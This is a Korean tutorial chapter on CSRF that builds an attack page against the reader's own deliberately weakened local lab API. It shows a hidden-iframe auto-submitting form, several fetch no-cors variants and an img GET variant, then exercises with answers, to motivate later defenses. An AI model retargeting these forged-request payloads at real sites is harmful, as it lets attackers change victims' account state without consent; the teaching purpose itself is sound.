API 를 다시 띄우고 Swagger UI 를 열면 lab 태그 아래 네 엔드포인트가 보입니다.
$ cd ~/Workspace/auth-lab/api
$ pnpm start:dev
$ curl -s http://localhost:4000/lab/settings | jq
예상 결과:
{
"sameSite": "none",
"checkOrigin": false,
"checkToken": false
}
LAB_MODE=false 로 바꾸고 다시 띄우면 같은 요청이 404 와 "code": "LAB_DISABLED" 를 돌려줍니다. 확인했으면 true 로 되돌립니다.
8.8 공격 페이지
이제 공격자의 페이지를 만듭니다. 저장소 루트의 evil/ 폴더에 HTML 파일 하나면 됩니다.
<!-- evil/index.html -->
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8" />
<title>무료 쿠폰 받기</title>
</head>
<body>
<h1>🎁 쿠폰이 도착했습니다</h1>
<p>(실습용 공격 페이지 — 열리는 순간 아래 폼이 auth-lab API 로 전송됩니다)</p>
<!-- 응답을 숨기려고 보이지 않는 iframe 으로 보낸다. 응답을 못 봐도 요청은 이미 서버에 닿았다. -->
<iframe name="sink" style="display: none"></iframe>
<form id="attack" action="http://localhost:4000/lab/nickname" method="POST" target="sink">
<input type="hidden" name="nickname" value="털렸음" />
</form>
<p id="log"></p>
<script>
document.getElementById('attack').submit();
document.getElementById('log').textContent = location.origin + ' 에서 요청을 보냈습니다.';
</script>
</body>
</html>
이 파일은 짧지만 CSRF 공격의 모든 요소를 갖고 있습니다.
<form action="http://localhost:4000/lab/nickname" method="POST">— 목적지는 우리 API 입니다.enctype을 적지 않았으므로 기본값인application/x-www-form-urlencoded로 전송됩니다. simple request 입니다.<input type="hidden" name="nickname" value="털렸음">— 요청 본문은nickname=%ED%84%B8…한 줄입니다. 필드 이름과 값을 공격자가 전부 정할 수 있습니다(조건 2, 예측 가능한 요청).<meta charset="utf-8">이 있어야 한글 값이 UTF-8 로 인코딩됩니다. 폼은 페이지의 문자 인코딩으로 값을 보냅니다.target="sink"와 숨긴<iframe name="sink">— 폼 전송은 원래 페이지 이동입니다.target없이 보내면 탭 전체가 API 응답(JSON)으로 바뀌어 피해자가 눈치챕니다. 응답을 보이지 않는 iframe 으로 보내면 피해자 화면에는 쿠폰 페이지가 그대로 남습니다.document.getElementById('attack').submit()— 페이지가 열리자마자 사용자 동작 없이 전송합니다. 실제 공격에서는 링크 하나를 클릭하게 만들거나, 광고·게시글 속 iframe 으로 이 페이지를 몰래 불러옵니다.location.origin을 화면에 찍는 것은 9장에서 같은 파일을 두 출처로 열었을 때 어느 쪽인지 헷갈리지 않게 하려는 것입니다.
두 출처로 띄우기
공격 페이지는 Python 에 들어 있는 정적 파일 서버로 띄웁니다. 새 터미널에서 다음을 실행합니다.
$ cd ~/Workspace/auth-lab/evil
$ python3 -m http.server 5174
Serving HTTP on :: port 5174 (http://[::]:5174/) ...
(출력은 예시입니다. Python 버전과 운영체제에 따라 0.0.0.0 으로 표시되기도 합니다.)
이 서버는 모든 네트워크 인터페이스에서 기다리므로 두 주소로 모두 열 수 있습니다.
| 주소 | API(localhost:4000)와의 관계 |
|---|---|
http://localhost:5174 | 다른 출처(포트가 다름), 같은 사이트(호스트 localhost) |
http://127.0.0.1:5174 | 다른 출처, 다른 사이트(호스트가 127.0.0.1) |
1장의 용어 표를 떠올려 봅시다. 출처는 스킴·호스트·포트를 모두 보고, 사이트는 스킴과 등록 가능한 도메인만 봅니다.
localhost 와 127.0.0.1 은 같은 컴퓨터를 가리키지만 브라우저에게는 문자열이 다른 호스트라 다른 사이트입니다.
IP 주소는 등록 가능한 도메인이라는 개념이 없어서 주소 그대로가 사이트가 됩니다.
이 장에서는 두 주소 모두 공격이 성공합니다. 9장에서 이 차이가 결과를 가릅니다.
8.9 공격
준비가 끝났습니다. 피해자는 앞 장들에서 가입해 둔 계정(예시에서는 kim@example.com, 닉네임 김개발)을 쓴다고 하겠습니다.
Chrome 을 기준으로 설명합니다. 시크릿 창이 아닌 일반 창에서 진행하세요. 이유는 9장에서 설명합니다.
1단계 — 피해자가 로그인한다
http://localhost:4000/docs를 엽니다.lab태그의POST /lab/login을 펼치고 Try it out 을 누릅니다.- 본문에 다음을 넣고 Execute 합니다.
{
"email": "kim@example.com",
"password": "correct horse battery"
}
예상 결과는 204 입니다. 응답 본문은 비어 있습니다. 토큰은 쿠키로 갔기 때문입니다.
Chrome 개발자 도구의 Application → Cookies → http://localhost:4000 을 보면 lab_session 쿠키가 있고,
HttpOnly·Secure 에 체크, SameSite 는 None 으로 보일 것입니다.
- 같은 화면에서
GET /lab/me를 실행합니다. 예상 결과:
{
"id": "…",
"email": "kim@example.com",
"nickname": "김개발",
"createdAt": "…"
}
Swagger UI 는 withCredentials: true 로 설정해 두었고 API 와 같은 출처라 쿠키가 실립니다.
Authorization 헤더를 넣지 않았는데도 내 정보가 나온다는 점을 확인하세요. 이제 이 브라우저는 "쿠키만으로 로그인된 상태" 입니다.
2단계 — 피해자가 공격 페이지를 연다
같은 브라우저 창에서 새 탭을 열고 http://127.0.0.1:5174 로 갑니다.
화면에는 "쿠폰이 도착했습니다" 와 http://127.0.0.1:5174 에서 요청을 보냈습니다. 가 보일 뿐, 겉으로는 아무 일도 없어 보입니다.
3단계 — 결과를 확인한다
Swagger 탭으로 돌아가 GET /lab/me 를 다시 실행합니다. 예상 결과:
{
"id": "…",
"email": "kim@example.com",
"nickname": "털렸음",
"createdAt": "…"
}
닉네임이 바뀌었습니다. 공격 페이지는 우리 API 의 쿠키 값을 한 번도 보지 못했고,
우리 API 의 CORS 허용 목록(http://localhost:5173)에도 들어 있지 않았습니다. 그런데도 성공했습니다.
4단계 — 같은 사이트의 다른 출처에서도
Swagger 에서 POST /lab/nickname 으로 닉네임을 김개발 로 되돌린 뒤(형식은 application/json 을 골라 {"nickname":"김개발"}),
이번에는 새 탭에서 http://localhost:5174 를 엽니다. 다시 GET /lab/me 를 실행하면 이번에도 털렸음 입니다.
SameSite=None 쿠키는 사이트를 가리지 않고 실리므로 두 출처 모두에서 공격이 성공합니다.
무슨 일이 일어났는지 눈으로 보기
공격 페이지 탭에서 개발자 도구를 먼저 열고(Network 탭, Preserve log 체크) 새로고침하면 요청이 보입니다.
nickname 이라는 이름의 요청을 눌러 보면 다음과 비슷한 내용일 것입니다.
Request URL: http://localhost:4000/lab/nickname
Request Method: POST
Status Code: 200 OK
(요청 헤더)
Content-Type: application/x-www-form-urlencoded
Cookie: lab_session=eyJhbGciOiJIUzI1NiIs…
Origin: http://127.0.0.1:5174
(폼 데이터)
nickname: 털렸음
(예시 출력입니다. Chrome 버전에 따라 요청 이름·표시 위치가 조금 다를 수 있고, 쿠키가 요청 헤더 대신 Cookies 하위 탭에만 표시되기도 합니다.)
세 줄을 눈여겨 보세요. Cookie 는 브라우저가 알아서 실었습니다. Origin 은 요청이 어디서 시작됐는지를 브라우저가 정직하게 적은 것입니다.
서버는 이 헤더를 보고 "우리 FE 가 아닌 곳에서 왔다" 는 것을 알 수 있었지만, 지금은 아무도 이 헤더를 보지 않습니다.
9장의 두 번째 방어가 바로 이 헤더를 봅니다.
8.10 iframe 에 아무것도 보이지 않는 이유
실습 중에 숨긴 iframe 을 잠시 보이게(style="display: none" 을 지우고) 해 보면, 응답 JSON 대신
"연결을 거부했습니다" 같은 오류 화면이 보일 수 있습니다. 개발자 도구 콘솔에는 대략 이런 메시지가 찍힙니다.
Refused to display 'http://localhost:4000/' in a frame because it set 'X-Frame-Options' to 'sameorigin'.
(예시 메시지입니다. 브라우저에 따라 CSP 의 frame-ancestors 위반으로 표시되기도 합니다.)
3장에서 main.ts 에 넣은 helmet() 이 기본으로 X-Frame-Options: SAMEORIGIN 과
Content-Security-Policy 의 frame-ancestors 'self' 를 붙이기 때문입니다. 두 헤더는 "이 응답을 다른 출처의 페이지가 iframe 안에 표시하지 못하게 하라" 는 뜻이고,
클릭재킹(투명한 iframe 위에 가짜 버튼을 올려 클릭을 가로채는 공격)을 막는 장치입니다.
오해하지 말아야 할 것은, 이 헤더들이 표시를 막을 뿐 요청을 막지 않는다는 것입니다. 브라우저는 응답을 받은 뒤에야 이 헤더를 읽고 표시를 거부합니다. 서버는 이미 요청을 처리했고, 닉네임은 이미 바뀌었습니다. 8.3 의 CORS 와 똑같은 구조입니다. 응답 쪽 헤더로 하는 방어는 요청이 일으킨 부수 효과를 되돌리지 못합니다. CSRF 는 요청이 서버에 도착했을 때 서버가 스스로 판단해 거절해야 막힙니다.
8.11 공격의 변형
폼 자동 제출은 가장 오래되고 가장 확실한 방법이지만 유일한 방법은 아닙니다.
몇 가지 변형을 시도해 보면 서버가 어떤 요청을 받아 주는지가 공격 성공 여부를 가른다는 것을 알 수 있습니다.
아래 코드는 http://127.0.0.1:5174 탭의 개발자 도구 콘솔에 붙여 넣어 실행합니다. 파일을 고칠 필요는 없습니다.
각 시도 전후로 Swagger 에서 GET /lab/me 를 실행해 닉네임을 확인하세요.
변형 1 — fetch + no-cors + text/plain
fetch('http://localhost:4000/lab/nickname', {
method: 'POST',
mode: 'no-cors',
credentials: 'include',
headers: { 'Content-Type': 'text/plain' },
body: 'nickname=털렸음2',
});
mode: 'no-cors' 는 "응답은 안 읽어도 되니 보내기만 하라" 는 뜻입니다. 이 모드에서는 simple request 만 보낼 수 있고,
응답은 내용을 볼 수 없는 불투명(opaque) 객체로 돌아옵니다. credentials: 'include' 는 다른 출처로 보내는 요청에도 쿠키를 실으라는 뜻입니다.
fetch 의 기본값은 같은 출처일 때만 쿠키를 싣는 'same-origin' 이라, 이 줄이 없으면 쿠키가 실리지 않습니다.
예상 결과: 닉네임이 바뀌지 않습니다. 요청은 서버에 도착하고 쿠키도 실렸지만, Nest 의 기본 본문 파서가 text/plain 을 파싱하지 않아
req.body 가 비어 있고, ValidationPipe 가 nickname 이 없다며 400 VALIDATION_FAILED 를 돌려줍니다.
개발자 도구 Network 탭에서 상태 코드 400 을 볼 수 있습니다(페이지의 코드는 볼 수 없지만 개발자 도구는 보여 줍니다).
이 결과를 "안전하다" 로 읽으면 안 됩니다. 막은 것은 우리가 의도해서 만든 방어가 아니라 본문 파서의 기본 설정입니다.
누군가 "text/plain 으로 JSON 을 보내는 클라이언트도 받아 주자" 며 파서를 넓히는 순간 이 경로가 열립니다.
9장 끝에서 이 점을 다시 다룹니다.
변형 2 — fetch + no-cors + 폼 형식
fetch('http://localhost:4000/lab/nickname', {
method: 'POST',
mode: 'no-cors',
credentials: 'include',
body: new URLSearchParams({ nickname: '털렸음2' }),
});
본문에 URLSearchParams 를 넘기면 브라우저가 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 을 자동으로 붙입니다.
이 형식은 simple request 이고, 서버는 이것을 파싱합니다.
예상 결과: 닉네임이 털렸음2 로 바뀝니다. 폼 없이 스크립트만으로도 같은 공격이 됩니다.
폼 자동 제출과 달리 iframe 도 페이지 이동도 없어서 더 조용합니다.
변형 3 — JSON 으로 보내기
fetch('http://localhost:4000/lab/nickname', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ nickname: '털렸음3' }),
});
예상 결과: 콘솔에 CORS 오류가 찍히고 닉네임은 바뀌지 않습니다. application/json 은 simple 이 아니므로 preflight 가 나가고,
http://127.0.0.1:5174 는 CORS 허용 목록에 없으니 본 요청이 나가지 않습니다. 8.3 의 두 번째 그림 그대로입니다.
(mode: 'no-cors' 로 바꿔도 소용없습니다. no-cors 모드에서는 simple 이 아닌 Content-Type 값을 브라우저가 무시하고,
문자열 본문에는 text/plain 을 붙여 보냅니다. 결국 변형 1 과 같은 요청이 되어 400 으로 끝납니다.)
변형 4 — <img> 로 GET 요청
const img = new Image();
img.src = 'http://localhost:4000/lab/nickname?nickname=' + encodeURIComponent('털렸음4');
<img>·<script>·<link> 는 다른 사이트로 GET 요청을 보내는 가장 흔한 수단입니다. 태그 하나라 게시판 글이나 메일에도 숨길 수 있습니다.
예상 결과: 닉네임이 바뀌지 않습니다. 우리 엔드포인트는 @Post('nickname') 이라 GET /lab/nickname 이라는 경로가 없고,
Nest 는 404 Cannot GET /lab/nickname 을 돌려줍니다. 쿠키가 실리더라도 처리할 핸들러가 없습니다.
거꾸로 말하면, 상태를 바꾸는 GET 엔드포인트를 만들면 이 한 줄로 공격이 됩니다.
"링크를 누르면 탈퇴", "GET 으로 로그아웃" 같은 설계가 위험한 이유입니다. 게다가 9장에서 볼 SameSite=Lax 는
다른 사이트에서 링크로 들어오는 top-level GET 에는 쿠키를 실어 주므로, 상태를 바꾸는 GET 은 SameSite 로도 온전히 막히지 않습니다.
상태를 바꾸는 요청은 POST·PATCH·DELETE 로 만든다는 규칙은 CSRF 방어의 출발점입니다.
변형 정리
| 변형 | simple request? | 서버가 본문을 읽는가 | 결과 |
|---|---|---|---|
| 폼 자동 제출 (urlencoded) | 예 | 예 | 성공 |
fetch no-cors + text/plain | 예 | 아니오 (파서 없음) | 실패 (400) — 우연히 |
fetch no-cors + URLSearchParams | 예 | 예 | 성공 |
fetch + application/json | 아니오 → preflight | — | 실패 (CORS) |
<img> GET | 예 | — | 실패 (GET 라우트 없음) |
공격이 성공한 두 줄은 모두 "simple request 이면서 서버가 받아 주는 형태" 입니다. 실패한 줄들은 서버가 CSRF 를 알고 막은 것이 하나도 없습니다. 이것이 9장이 필요한 이유입니다.
확인하기
API(pnpm start:dev)와 공격 페이지 서버(python3 -m http.server 5174)를 띄운 상태에서 확인합니다.
1. 실습 설정이 읽힌다.
$ curl -s http://localhost:4000/lab/settings | jq -c
예상 결과: {"sameSite":"none","checkOrigin":false,"checkToken":false}
2. 실습 로그인이 쿠키를 준다.
$ curl -s -i -H 'Content-Type: application/json' \
-d '{"email":"kim@example.com","password":"correct horse battery"}' \
http://localhost:4000/lab/login | grep -i -E '^HTTP|^set-cookie'
예상 결과(예시):
HTTP/1.1 204 No Content
Set-Cookie: lab_session=eyJhbGciOi…; Max-Age=1800; Path=/; Expires=…; HttpOnly; Secure; SameSite=None
3. 쿠키 없이 닉네임을 바꾸려 하면 401 이다.
$ curl -s -H 'Content-Type: application/json' -d '{"nickname":"아무개"}' \
http://localhost:4000/lab/nickname | jq -c
예상 결과: {"statusCode":401,"code":"ACCESS_TOKEN_INVALID","message":"실습 쿠키가 없다"}
4. 브라우저 공격이 두 출처 모두에서 성공한다. 8.9 의 절차를 http://127.0.0.1:5174 와 http://localhost:5174 로 각각 한 번씩 반복해,
두 번 모두 GET /lab/me 의 닉네임이 털렸음 이 되는지 봅니다.
5. 실습 모드를 끄면 닫힌다. LAB_MODE=false 로 다시 띄워 1번 명령이 404·LAB_DISABLED 를 주는지 확인하고 true 로 되돌립니다.
자주 하는 실수
공격 페이지를 열었는데 닉네임이 그대로다.
가장 흔한 원인은 브라우저가 서드파티 쿠키를 막고 있는 것입니다. 127.0.0.1:5174 에서 localhost:4000 으로 가는 요청의 쿠키는
브라우저 입장에서 다른 사이트의 쿠키(서드파티 쿠키) 입니다. Chrome 시크릿 창은 기본으로 서드파티 쿠키를 차단하고,
일반 창에서도 설정(설정 → 개인 정보 보호 및 보안 → 서드 파티 쿠키)에 따라 막힐 수 있습니다.
개발자 도구 Network 탭에서 요청의 Cookies 하위 탭을 열고 "필터링된 쿠키 표시"(show filtered out request cookies)를 켜면
lab_session 이 왜 빠졌는지 이유가 표시됩니다. localhost:5174 쪽은 같은 사이트라 이 설정의 영향을 받지 않으므로, 한쪽만 실패한다면 이것을 의심하세요.
lab_session 쿠키가 아예 저장되지 않는다.
Swagger 를 http://127.0.0.1:4000/docs 나 사내 IP 로 열었을 가능성이 있습니다. 공격 페이지의 action 은 http://localhost:4000 이므로
쿠키도 localhost 에 있어야 합니다. 또 Secure 쿠키를 받아 주는 예외는 localhost 같은 루프백 주소에만 해당합니다.
Swagger 는 반드시 http://localhost:4000/docs 로 엽니다.
Swagger 에서 POST /lab/login 이 400 을 준다.
본문의 형식(Request body 옆의 드롭다운)과 실제 입력이 맞는지 봅니다. 이메일 형식이 아니거나 필드 이름이 틀리면
ValidationPipe 가 400 VALIDATION_FAILED 를 줍니다. forbidNonWhitelisted: true 라서 쓸데없는 필드가 하나라도 있어도 거절됩니다.
LAB_COOKIE_SAMESITE 를 바꿨는데 쿠키 속성이 그대로다.
SameSite 는 쿠키를 발급할 때 정해지는 속성입니다. .env 를 바꾸고 API 를 다시 띄운 뒤에는 반드시 POST /lab/login 을 다시 해서
새 속성의 쿠키를 받아야 합니다. 9장 내내 이 순서를 반복합니다.
공격 페이지 탭에 JSON 이 떠 버린다.
target="sink" 를 빠뜨렸거나 iframe 의 name 과 다르면 폼이 탭 전체를 이동시킵니다. 공격은 똑같이 성공하지만 실습에서 "피해자가 눈치채지 못한다" 는 점이 보이지 않습니다.
python3 -m http.server 를 evil/ 밖에서 실행했다.
그러면 http://localhost:5174 가 디렉터리 목록을 보여 줍니다. 서버는 실행한 폴더를 그대로 내보냅니다. cd evil 후 실행합니다.
정리
- CSRF 는 브라우저가 목적지의 쿠키를 알아서 싣는다는 성질을 이용해, 피해자의 브라우저가 피해자의 자격 증명으로 공격자가 만든 요청을 보내게 하는 공격이다. 쿠키를 훔치지 않는다.
- 공격이 성립하려면 쿠키 기반 인증 · 예측 가능한 요청 · 상태 변경 세 조건이 모두 맞아야 한다. 방어는 이 중 하나를 깨는 일이다.
- CORS 는 응답 읽기를 막을 뿐 전송을 막지 않는다. simple request(폼으로 보낼 수 있는 요청)는 preflight 없이 서버에 도착해 처리된다. helmet 의 frame 관련 헤더도 표시만 막는다.
- 우리 설계의 공격면은 쿠키를 쓰는
POST /auth/login·/auth/refresh·/auth/logout셋이다. Bearer 요청은 안전하다. login 은 로그인 CSRF 때문에 대상이다. - 액세스 토큰을 쿠키로 옮기면(BFF·SSR) 상태를 바꾸는 모든 요청이 공격면이 된다. 실습실
/lab/*이 그 구성을 흉내 낸다. SameSite=None인 실습 쿠키로는localhost:5174(같은 사이트)와127.0.0.1:5174(다른 사이트) 모두에서 공격이 성공했다.text/plain변형이 실패한 것은 본문 파서의 기본값 덕분이지 의도한 방어가 아니다.
연습문제
1. 다음 엔드포인트 각각이 CSRF 에 취약한지 8.1 의 세 조건으로 판단하세요.
(a) 쿠키 세션으로 인증하는 GET /api/orders (주문 목록 조회)
(b) Authorization: Bearer 로 인증하는 POST /api/orders
(c) 쿠키 세션으로 인증하는 GET /api/unsubscribe?list=news (뉴스레터 구독 해지)
해답
(a) 취약하지 않습니다. 조건 1(쿠키)과 조건 2(예측 가능)는 맞지만 조건 3(상태 변경)이 없습니다. 공격자가 이 요청을 위조해도 응답을 읽을 수 없으므로 얻는 것이 없습니다. (응답을 읽는 문제는 CSRF 가 아니라 CORS 설정의 문제입니다.)
(b) 취약하지 않습니다. 조건 1 이 깨집니다. 브라우저는 Authorization 헤더를 자동으로 붙이지 않고,
다른 출처의 페이지는 토큰 값을 모르며, 이 헤더를 붙이려면 preflight 를 통과해야 합니다.
(c) 취약합니다. 쿠키로 인증하고, URL 이 고정돼 있어 예측 가능하고, 구독 상태를 바꿉니다.
게다가 GET 이라 <img src="…"> 한 줄로 공격할 수 있고, SameSite=Lax 쿠키도 링크를 통한 top-level GET 에는 실립니다.
상태를 바꾸는 요청을 GET 으로 만들지 않는 것이 첫 번째 해결책입니다.
2. 동료가 "우리는 CORS 에 origin: ['https://app.example.com'] 만 허용했으니 다른 사이트에서 우리 API 로 POST 를 보낼 수 없다" 고 말합니다.
이 말에서 맞는 부분과 틀린 부분을 구분하고, 8장 실습 결과 중 무엇을 근거로 들 수 있는지 설명하세요.
해답
맞는 부분: simple 이 아닌 요청(예: Content-Type: application/json, 커스텀 헤더, PATCH/DELETE)은 preflight 에서 거절되어 본 요청이 나가지 않습니다(8.11 변형 3).
또 다른 사이트의 페이지는 어떤 요청이든 응답을 읽을 수 없습니다.
틀린 부분: simple request(폼 형식·text/plain 본문의 POST)는 preflight 없이 서버에 도착해 처리됩니다. CORS 는 응답을 읽을지 말지만 결정합니다.
근거는 8.9 의 폼 공격과 8.11 변형 2 입니다. 두 경우 모두 127.0.0.1:5174 는 CORS 허용 목록에 없었는데도 닉네임이 바뀌었습니다.
3. 공격 페이지에서 target="sink" 와 iframe 을 지우면 어떤 차이가 생기나요? 공격의 성공 여부와 피해자가 보는 화면으로 나눠 답하세요.
해답
성공 여부는 달라지지 않습니다(SameSite=None 인 지금 설정에서). 요청은 똑같이 쿠키를 싣고 서버에 도착해 처리됩니다.
화면은 달라집니다. 폼 전송이 탭 전체의 이동이 되므로 탭 주소가 http://localhost:4000/lab/nickname 으로 바뀌고 응답 JSON("nickname":"털렸음")이 그대로 보입니다.
이 경우 top-level 이동이라 helmet 의 frame 관련 헤더와도 상관없이 응답이 표시됩니다. 피해자가 공격을 눈치챌 수 있게 될 뿐입니다.
(참고로 top-level 이동인지 iframe 안의 이동인지는 9장에서 SameSite 가 쿠키를 싣는지 판단할 때 영향을 줍니다. Lax 에서 POST 는 둘 다 실리지 않습니다.)
4. 로그인 CSRF 공격에서 공격자는 자신의 이메일과 비밀번호를 공격 페이지의 폼에 넣어야 합니다. 공격자에게 이것은 위험하지 않을까요? 공격자가 무엇을 얻고 무엇을 잃는지 생각해 보고, 이 공격이 특히 해로운 서비스의 예를 하나 드세요.
해답
공격자는 공격용으로 만든 버리는 계정을 쓰므로 비밀번호가 페이지 소스에 드러나도 잃을 것이 거의 없습니다. 얻는 것은 피해자가 그 계정에 남기는 데이터입니다. 피해자는 자신의 계정이라고 믿고 행동하므로 검색 기록, 저장한 메모, 입력한 배송지, 연결한 결제 수단 같은 것이 공격자 계정에 쌓이고, 공격자는 나중에 같은 계정으로 로그인해 그것을 봅니다. 검색 기록을 저장하는 검색 서비스, 카드 정보를 등록하게 하는 쇼핑몰, 문서를 업로드하는 클라우드 저장소가 좋은 예입니다. 그래서 login 은 쿠키를 읽지 않아도 CSRF 방어 대상입니다(9장).